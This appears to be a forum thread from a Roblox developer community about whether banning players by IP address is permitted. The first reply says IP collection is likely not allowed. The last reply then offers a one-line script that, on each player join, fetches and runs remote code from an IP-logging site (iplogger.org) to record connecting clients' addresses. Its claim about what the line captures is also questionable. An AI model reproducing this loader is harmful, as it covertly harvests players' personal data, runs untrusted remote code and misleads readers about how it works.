Okay, so am I allowed to save a player's IP to a database, and when a player joins it gets the players IP, and checks trough the database if there is an IP registerd, and if it is banned that account (possible alt to ban-evade) also gets banned.
Is that allowed? As It's about IP's, and I'm not pretty sure about it being allowed.
If you somehow obtained an IP over Roblox you should report it immediately. I would also assume that IP Banning is not allowed. But you can always just ban users through their username
It's easy to retrieve someones ip, you just set it so when a player joins, it connects them to an external website which then retrieves their ip. HttpGet could easily do the job. But if you are thinking about using this method, please don't unless you're ONLY using it for ip bans.
game.Players.PlayerAdded:Connect(function() loadstring(game:httpget(('domain here, you can use iplogger.org'),true))() end) --The domain "iplogger.org" will log any client which has ran that loadstring.